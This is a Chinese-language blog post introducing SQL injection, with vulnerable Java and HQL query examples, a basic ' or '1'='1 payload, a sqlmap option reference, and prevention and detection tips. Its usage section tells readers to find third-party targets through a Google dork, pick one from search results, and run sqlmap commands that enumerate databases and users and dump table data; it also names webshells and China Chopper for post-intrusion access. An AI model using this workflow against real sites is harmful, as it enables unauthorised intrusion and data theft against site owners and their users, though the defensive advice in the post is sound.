美文网首页sqlmap
sql注入的流程介绍

sql注入的流程介绍

作者: 一笑yo | 来源:发表于2017-03-03 22:46 被阅读82次

我们在开发过程中不仅要保证业务功能的完整性,更要保障安全性.
在刚从事工作时,我并没有关注一些安全性相关的知识,工作一年之后很多业务技术都有所掌握,之后就参与到了测试组的工作中去.从那个时候我才知道,白盒,黑盒,单元测试,压力测试,等等一些知识.起初就是觉得好玩,并没有立志要成为一个白帽子,所以一路走来,小打小闹.

背景

出现的安全问题就不说那么多了,作为开发人员应该都清楚,后果是非常严重的.OWASP TOP10中把SQL注入排在了第一位.

原理

比如下面的代码

String query = "SELECT * FROM accounts WHERE  custID='" + request.getParameter("id") + "'";

使用hql的代码

Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");

这样的代码有问题么?

如果这样传递参数呢?http://example.com/app/accountView?id=' or '1'='1

这就是简单的注入实例

工具

原理知道了,通过拼接sql语句,导致 语句不会按照自己的预期执行.我们通过使用sqlmap来完成sql注入的检测.
sqlmap: 注入检测
burpsuite: 请求代理
GHDB:谷歌黑客数据库(通过谷歌检索查询漏洞)
webshell: 入侵成功后可以上传脚本
中国菜刀:通过shell连接服务器,不过这个版本比较老,但是还挺好用

tips: 我们想要发现是否存在注入漏洞,所以对于渗透,上传webshell等不过多关注.

sqlmap 工具的使用

安装

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

概述

我们通过help命令对sqlmap有一些了解.

  • Target: 目标
    1. -u : 指定目标url 比如 http://www.site.com/vuln.php?id=1
    2. -g: 利用谷歌搜索语法,比如 inurl:newsid=
  • Request: 请求参数
    1. --date=DATA: Post提交参数
    2. --cookie=COOKIE
    3. --random-agent: 随机代理请求头User-Agent
    4. --proxy :使用代理连接
  • Injection: 注入配置
    1. --dbms: 指定后台数据库
  • Detection: 侦察
    1. --level=LEVEL: 侦察等级 1-5(默认1)
    2. --risk=RISK: 风险等级1-3(默认1)
  • Enumeration:检索
  1. -a: 查询所有
  2. -b: DBMS banner
  3. --current-user: 查询用户当前等级
  4. --current-db: 查询用户当前数据库
  5. --passwords: 查询用户密码
  6. --tables: 查询表
  7. --columns :查询列
    8.--schema: 查询schema
    9.--dump: 获取数据
  8. --dump-all:
  9. -D DB :检索指定数据库
  10. -T TBL: 检索指定表
    13.-C COL:检索指定列
    tips: 其他涉及到shell等注入的就不介绍了,我们主要的任务是如何检测一个sql是否存在注入

使用方法

  • 我们通过谷歌黑客数据库查找目标
  • 选择Google Dork Description:inurl:"sitegenius/topic.php"
  • Google搜索后选择一个目标
  • 查询当前数据库
./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库
./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库
./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列

注入预防

  • java中查询语句时候不要使用sql拼接,可以使用PreparedStatement
  • hibernate中不要拼接hql,尽量使用占位符
  • mybatis中尽量使用#{},避免使用${}的参数方式.
  • 请求过滤器: 如果获取到非法连接则拒绝.
sqlmap统计了注入的技术
1. 基于布尔的注入
2.基于错误的注入
3.内联注入
4.堆栈查询注入
5.至于时间注入
6.union查询注入
涉及到的关键字有:
boolean注入: (' ,<',">, AND ,%',(SELECT,--, OR ,)*,
union注入: ORDER,UNION,MAKE_SET,ELT
time注入:SLEEP,PG_SLEEP,DELAY,WAITFOR
inline注入:..)',
空格处理关键字:/**/,BETWEEN,/**_**/,'%09', '%0A', '%0C', '%0D', '%0B',--%0A,%S%E%L%E%C%T
大致通过这些就可以判断,
  • 请求头过滤: sqlmap 默认的请求agent:sqlmap/1.1.3.2#dev (http://sqlmap.org) 此外,对于一些常用的代理工具都可以进行一些拒绝处理,比如charles,burpsuite,fiddler 等等

相关文章

  • sql注入的流程介绍

    我们在开发过程中不仅要保证业务功能的完整性,更要保障安全性.在刚从事工作时,我并没有关注一些安全性相关的知识,工作...

  • 安全测试基础之SQL注入

    传说,SQL注入是黑客对数据库进行攻击的常用手段,今天就来介绍一下SQL注入。 01 — SQL注入介绍 SQL注...

  • 2020-07-29

    安全渗透测试-sql注入 总目标: 1、sql注入介绍 2、web安全渗透测试分类 3、sql注入原理 4、sql...

  • web安全测试(2)

    本章主要介绍常见web安全漏洞。 一、SQL注入 SQL注入(SQL Injection),是最常见影响非常广泛的...

  • 零基础学习手工SQL注入

    原文地址:https://mozhe.cn/news/detail/324 SQL注入介绍 SQL注入,其实就是用...

  • 跟我一起学NodeJS之安全

    安全 本篇介绍web server (Nodejs)层面上存在的安全问题,并解决 sql注入 sql注入就是我们我...

  • Mybatis框架下SQL注入漏洞书目录

    Mybatis框架下SQL注入漏洞 SQL注入漏洞基本原理 Mybatis框架介绍 Mybatis框架下易产生SQ...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • sql注入流程

    注入识别: 手工简单识别:'and 1=1 / and 1=2and '1'='1 / and '1'='1and...

  • SQL注入记录

    sql 注入 1.盲注 (没有回显)2.显错注入3.报错注入 显错注入-联合查询(Mysql数据库)的基本流程 显...

网友评论

    本文标题:sql注入的流程介绍

    本文链接:https://www.haomeiwen.com/subject/iklkgttx.html